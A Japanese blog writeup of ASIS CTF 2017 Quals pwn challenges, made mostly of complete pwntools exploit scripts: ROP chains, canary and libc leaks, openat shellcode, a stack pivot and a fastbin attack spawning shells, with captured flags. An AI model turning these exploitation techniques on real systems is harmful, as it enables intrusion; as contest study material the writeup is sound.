ブログ未満のなにか

ブログなのか誰にも分からない

ASIS CTF 2017 Quals writeup

はじめに

TokyoWesternsで参加して4933ptで3位だった。そのうち998ptを取った。 解いてflagを出したのは、Random generator、Defaulter、CRC、Stard hard、Ca…gF remastered、CTF Surveyの6問(実質5問)だった。

Random generator (Warm-up, Pwning 95pt)

バイナリはまともに読んでないので詳しくは分からないがcanaryが分かるのでROPした。やるだけ

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "69.90.132.40"
RPORT = 4000
LHOST = "127.0.0.1"
LPORT = 4000

# libc = ELF('')
elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute)
else:
    conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'])
    # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def leak(idx):
    conn.sendlineafter('What random value do you want to get?', str(idx))
    conn.recvuntil('Your value = ')
    buf = conn.recvline()
    buf = buf.strip('\n')
    return int(buf)

# 0x00400f8c: pop rax ; pop rdi ; ret  ;  (1 found)
# 0x00400f61: pop rsi ; pop r15 ; ret  ;  (1 found)
# 0x00400f88: mov rdx, rsi ; ret  ;  (1 found)
# 0x00400f8f: syscall  ;  (1 found)
pop_rax_rdi = 0x00400f8c
pop_rsi_r15 = 0x00400f61
mov_rdx_rsi = 0x00400f88
syscall = 0x00400f8f
bss_base = 0x602340

bufsize = 0x410 - 8

log.info('Pwning')

rop = ""
# read(stdin, bss, 0x100)
# rdx = 0x100 size
rop += p64(pop_rsi_r15)
rop += p64(0x100)
rop += p64(0x0)
rop += p64(mov_rdx_rsi)
# rsi = bss *buf
rop += p64(pop_rsi_r15)
rop += p64(bss_base)
rop += p64(0x0)
# rdi = 0 fd, rax = 0 SYS_read
rop += p64(pop_rax_rdi)
rop += p64(0x0)
rop += p64(0x0)
# syscall
rop += p64(syscall)

# system(&"/bin/sh", NULL, NULL)
# rdx = NULL
rop += p64(pop_rsi_r15)
rop += p64(0x0)
rop += p64(0x0)
rop += p64(mov_rdx_rsi)
# rsi = NULL
rop += p64(pop_rsi_r15)
rop += p64(0x0)
rop += p64(0x0)
# rdi = &"/bin/sh"
rop += p64(pop_rax_rdi)
rop += p64(59)
rop += p64(bss_base)
rop += p64(syscall)

binsh = "/bin/sh\x00"

canary = 0
for i in range(1, 8):
    print i
    buf = leak(i)
    canary += buf << ((i) * 8)
print hex(canary)

conn.sendline("0")
payload = "A" * bufsize
payload += p64(canary)
payload += "XXXXYYYY"
payload += rop

# payload += rop
conn.sendline(payload)
conn.sendline(binsh)
conn.interactive()

# ASIS{e77c4a76d8079b330e7e78e8e3f434c4}

Defaulter (Pwning 186pt)

blind問。バイナリがないのでまずはテキスト領域をダンプした。write, read, openatが許可されているので、flagを開いて読んだ。openatの第一引数を-100にするとopenと同じ動きをするらしい。あとはやるだけ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "188.226.140.60"
RPORT = 10001
LHOST = "127.0.0.1"
LPORT = 4000

# libc = ELF('')
# elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute)
else:
    conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'])
    # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''})

# preparing for exploitation


# leak text


text_base = 0x400000


shellcode = '''
push 0x30
pop rax
xor al, 0x30
push rax
mov rax, 0x67616c662f2f2f2e
push rax

mov rdi, -100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 257
syscall

mov rdi, rax
mov rsi, 0x601810
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 0x1
mov rsi, 0x601810
mov rdx, 0x100
mov rax, 1
syscall     
'''

conn.recvuntil('The shellcode to execute:')
conn.sendline(asm(shellcode))
print repr(asm(shellcode))

print repr(conn.recv(1024))
print repr(conn.recv(1024))

# ASIS{r34d_wr1t3_sh3llc0de_w1th_0pen4t_:-P}

CRC (Pwning 123pt)

サイズと文字列を投げると、そのCRC32の値を返してくれる。入力にgets()を使っているのでBOFがある。あとはlibcとcanaryを求めた。

#!/usr/bin/env python
from pwn import *
import json

context(os='linux', arch='i386')
# context.log_level = 'debug' # output verbose log

RHOST = "69.90.132.40"
RPORT = 4002
LHOST = "127.0.0.1"
LPORT = 4002

# libc = ELF('')
elf = ELF('./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], execute=execute)
else:
    conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'])
    # conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], env={'LD_PRELOAD': ''})

# preparing for exploitation
bufsize = 100
stdout_addr = 0x804a024
#stdout_offset = 0x1b0d60
stdout_offset = 0x1b2d60
libc_start_main_got = 0x8049ff0
libc_start_main_offset = 0x0018540
master_canary_offset = 0x1e5954
system_offset = 0x0003a940
binsh_offset = 0x158e8b

f = open('table.json', 'r')
d = json.load(f)

def CRC(size, payload):
    conn.sendlineafter('Choice: ', str(1))
    conn.sendlineafter('What is the length of your data: ', str(size))
    conn.sendlineafter('bytes to process: ', payload)
    conn.recvuntil('CRC is: ')
    return int(conn.recv(10), 16)
    

def search(h):
    for k, v in d.items():
        if v == h:
            return int(k)
    return -1


log.info('Pwning')

payload = "\x00" * bufsize
payload += p32(stdout_addr)

#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 0)))
#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 1)))
#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 2)))
#print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 3)))

buf = ''
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 0))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 1))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 2))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 3))))

libc_base = u32(buf) - libc_start_main_offset
log.info('libc_base = {:#x}'.format(libc_base))
master_canary = libc_base + master_canary_offset
# master_canary = libc_base + binsh_offset

#print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 0)))
#print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 1)))
##print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 2)))
#print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 3)))
buf = ''
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 0))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 1))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 2))))
buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 3))))
log.info('canary = {:#x}'.format(u32(buf)))

payload = "A" * 0x28
payload += buf
payload += "AAAA" * 3
payload += p32(libc_base + system_offset)
payload += "BBBB"
payload += p32(libc_base + binsh_offset)
conn.sendline('1')
conn.sendline(payload)

conn.interactive()

# ASIS{db17755326b5df9dab92e18e43c3ee51}
% cat table.json 
{"0": 3523407757, "1": 2768625435, "2": 1007455905, "3": 1259060791, "4": 3580832660, "5": 2724731650, "6": 996231864, "7": 1281784366, "8": 3705235391, "9": 2883475241, "10": 3523407757, "11": 1171273221, "12": 3686048678, "13": 2897449776, "14": 901431946, "15": 1119744540, "16": 3484811241, "17": 3098726271, "18": 565944005, "19": 1455205971, "20": 3369614320, "21": 3219065702, "22": 651582172, "23": 1372678730, "24": 3245242331, "25": 3060352845, "26": 794826487, "27": 1483155041, "28": 3322131394, "29": 2969862996, "30": 671994606, "31": 1594548856, "32": 3916222277, "33": 2657877971, "34": 123907689, "35": 1885708031, "36": 3993045852, "37": 2567322570, "38": 1010288, "39": 1997036262, "40": 3887548279, "41": 2427484129, "42": 163128923, "43": 2126386893, "44": 3772416878, "45": 2547889144, "46": 248832578, "47": 2043925204, "48": 4108050209, "49": 2212294583, "50": 450215437, "51": 1842515611, "52": 4088798008, "53": 2226203566, "54": 498629140, "55": 1790921346, "56": 4194326291, "57": 2366072709, "58": 336475711, "59": 1661535913, "60": 4251816714, "61": 2322244508, "62": 325317158, "63": 1684325040, "64": 2766056989, "65": 3554254475, "66": 1255198513, "67": 1037565863, "68": 2746444292, "69": 3568589458, "70": 1304234792, "71": 985283518, "72": 2852464175, "73": 3707901625, "74": 1141589763, "75": 856455061, "76": 2909332022, "77": 3664761504, "78": 1130791706, "79": 878818188, "80": 3110715001, "81": 3463352047, "82": 1466425173, "83": 543223747, "84": 3187964512, "85": 3372436214, "86": 1342839628, "87": 655174618, "88": 3081909835, "89": 3233089245, "90": 1505515367, "91": 784033777, "92": 2967466578, "93": 3352871620, "94": 1590793086, "95": 701932520, "96": 2679148245, "97": 3904355907, "98": 1908338681, "99": 112844655, "100": 2564639436, "101": 4024072794, "102": 1993550816, "103": 30677878, "104": 2439710439, "105": 3865851505, "106": 2137352139, "107": 140662621, "108": 2517025534, "109": 3775001192, "110": 2013832146, "111": 252678980, "112": 2181537457, "113": 4110462503, "114": 1812594589, "115": 453955339, "116": 2238339752, "117": 4067256894, "118": 1801730948, "119": 476252946, "120": 2363233923, "121": 4225443349, "122": 1657960367, "123": 366298937, "124": 2343686810, "125": 4239843852, "126": 1707062198, "127": 314082080, "128": 1069182125, "129": 1220369467, "130": 3518238081, "131": 2796764439, "132": 953657524, "133": 1339070498, "134": 3604597144, "135": 2715744526, "136": 828499103, "137": 1181144073, "138": 3748627891, "139": 2825434405, "140": 906764422, "141": 1091244048, "142": 3624026538, "143": 2936369468, "144": 571309257, "145": 1426738271, "146": 3422756325, "147": 3137613171, "148": 627095760, "149": 1382516806, "150": 3413039612, "151": 3161057642, "152": 752284923, "153": 1540473965, "154": 3268974039, "155": 3051332929, "156": 733688034, "157": 1555824756, "158": 3316994510, "159": 2998034776, "160": 81022053, "161": 1943239923, "162": 3940166985, "163": 2648514015, "164": 62490748, "165": 1958656234, "166": 3988253008, "167": 2595281350, "168": 168805463, "169": 2097738945, "170": 3825313147, "171": 2466682349, "172": 224526414, "173": 2053451992, "174": 3815530850, "175": 2490061300, "176": 425942017, "177": 1852075159, "178": 4151131437, "179": 2154433979, "180": 504272920, "181": 1762240654, "182": 4026595636, "183": 2265434530, "184": 397988915, "185": 1623188645, "186": 4189500703, "187": 2393998729, "188": 282398762, "189": 1741824188, "190": 4275794182, "191": 2312913296, "192": 1231433021, "193": 1046551979, "194": 2808630289, "195": 3496967303, "196": 1309403428, "197": 957143474, "198": 2684717064, "199": 3607279774, "200": 1203610895, "201": 817534361, "202": 2847130659, "203": 3736401077, "204": 1087398166, "205": 936857984, "206": 2933784634, "207": 3654889644, "208": 1422998873, "209": 601230799, "210": 3135200373, "211": 3453512931, "212": 1404893504, "213": 616286678, "214": 3182598252, "215": 3400902906, "216": 1510651243, "217": 755860989, "218": 3020215367, "219": 3271812305, "220": 1567060338, "221": 710951396, "222": 3010007134, "223": 3295551688, "224": 1913130485, "225": 84884835, "226": 2617666777, "227": 3942734927, "228": 1969605100, "229": 40040826, "230": 2607524032, "231": 3966539862, "232": 2094237127, "233": 198489425, "234": 2464015595, "235": 3856323709, "236": 2076066270, "237": 213479752, "238": 2511347954, "239": 3803648100, "240": 1874795921, "241": 414723335, "242": 2175892669, "243": 4139142187, "244": 1758648712, "245": 534112542, "246": 2262612132, "247": 4057696306, "248": 1633981859, "249": 375629109, "250": 2406151311, "251": 4167943193, "252": 1711886778, "253": 286155052, "254": 2282172566, "255": 4278190080}

Start hard (Pwning 201pt)

類題を解いたことがあるので、やるだけだった。blute forceとか必要ない。やるだけ

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "128.199.152.175"
RPORT = 10001
LHOST = "127.0.0.1"
LPORT = 10001

# libc = ELF('')
elf = ELF('./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], execute=execute)
else:
    conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'])
    # conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], env={'LD_PRELOAD': ''})

# preparing for exploitation

bufsize = 24

bss_stage = 0x601880
one_gadget = 0x0f0567
read_got = 0x601018
# 0x004005c3: pop rdi ; ret  ;  (1 found)
# 0x004005c1: pop rsi ; pop r15 ; ret  ;  (1 found)
pop_rdi = 0x004005c3
pop_rsi_r15 = 0x004005c1
# 0x004005ba: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rbx_rbp_r12_r13_r14_r15 = 0x004005ba
# 0x00400550: leave  ; ret  ;  (1 found)
leave_ret = 0x00400550
# 0x00400490: pop rbp ; ret  ;  (2 found)
pop_rbp = 0x00400490
'''
    0x4005a0:    mov    rdx,r13
    0x4005a3:    mov    rsi,r14
    0x4005a6:    mov    edi,r15d
    0x4005a9:    call   QWORD PTR [r12+rbx*8]
'''
call_r12 = 0x004005a0

log.info('Pwning')

# read
payload = "A" * bufsize
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x200)
payload += p64(bss_stage)
payload += p64(0)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7
# read
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7
# stack pivot
payload += p64(pop_rbp)
payload += p64(bss_stage)
payload += p64(leave_ret)
payload += "\x00" * (0x400 - len(payload))
conn.send(payload)

payload = p64(0x00000400406)
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x8)
payload += p64(read_got)
payload += p64(1)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7

payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(bss_stage)
payload += p64(0x80)
payload += p64(bss_stage + 0x300)
payload += p64(0)
payload += p64(call_r12)
payload += "XXXXXXXX" * 7
payload += p64(pop_rbp)
payload += p64(bss_stage + 0x300)
payload += p64(leave_ret)
payload += "A" * (0x200 - len(payload))
conn.send(payload)
conn.send('\xd0')

libc_base = u64(conn.recv(8)) - 0x00f66d0
log.info("libc_base = {:#x}".format(libc_base))

payload = "AAAABBBB"
payload += p64(libc_base + 0x4526a)
payload += "\x00" * (0x80 - len(payload))
conn.send(payload)
conn.interactive()

# ASIS{n0_exec_stack_slapped_ma_f4c3_hehe_____}

Ca…gF remastered (Pwning 384pt)

heapが良くわからないので、なんとなくでやった。隣にいたheapのプロに色々と聞きながらだったので解けた。適当にheapとlibcのアドレスをリークさせ、fastbin dupでチャンクの共有状態を作りだしてfastbin attackで、stdoutのvtable ptrを書き換えた。あとは適当なOne gadget RCEが使えた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "128.199.85.217"
RPORT = 10001
LHOST = "127.0.0.1"
LPORT = 10001

# libc = ELF('')
elf = ELF('./CaNaKMgF_remastered')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./CaNaKMgF_remastered'], execute=execute)
else:
    conn = process(['./CaNaKMgF_remastered'])
    # conn = process(['./CaNaKMgF_remastered.bin_e70ec4b07287604ad59ae59f9cb170ab60a0cc5c'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def Allocate(size, payload):
    conn.recvuntil('5. Run away')
    conn.sendline('1')
    conn.recvuntil('Length? ')
    conn.sendline(str(size))
    conn.sendline(payload)

def Free(idx):
    conn.recvuntil('5. Run away')
    conn.sendline('3')
    conn.recvuntil('Num? ')
    conn.sendline(str(idx))

def Read(idx):
    conn.recvuntil('5. Run away')
    conn.sendline('4')
    conn.recvuntil('Num? ')
    conn.sendline(str(idx))


log.info('Pwning')

Allocate(0x28, "A" * 0x28)  # 0
Allocate(0x28, "B" * 0x28)  # 1
Allocate(0x28, "C" * 0x28)  # 2

Free(1)
Free(0)
Read(0)
heap_base = u64(conn.recv(6) + "\x00\x00") - 0x30
log.info('heap_base = {:#x}'.format(heap_base))

Allocate(0x500, "A")
Free(3)
Read(0)
libc_base = u64(conn.recv(6) + "\x00\x00") - 0x3c3bc8
log.info('libc_base = {:#x}'.format(libc_base))

Allocate(0x68, "X" * 0x60) # 4
Allocate(0x68, "Y") # 5
Free(4)
Free(5)
Free(4)

Allocate(0x68, p64(libc_base + 0x3c46c5 - 0x8))    # 6
Allocate(0x68, "A")  # 7

dummy = "A" * 8
dummy += "B" * 8
dummy += "C" * 8
dummy += p64(libc_base + 0x4526a)
dummy += "E" * 8
dummy += "F" * 8
dummy += "G" * 8
dummy += p64(libc_base + 0x791e0)
Allocate(0x68, dummy)  # 8

payload = "\x00" * 3
payload += "\x00" * (8 * 3)
payload += p64(0xffffffff)
payload += "\x00" * 8 
payload += p64(heap_base + 0xa0)
Allocate(0x68, payload)  # 9

conn.interactive()

# ASIS{full_relro_fastbin_attack!!!!!!_:-P}

CTF Survey

感想書いた。

おわりに

pwnは初心者向けに感じた。heapが良くわからないので精進したいと思う。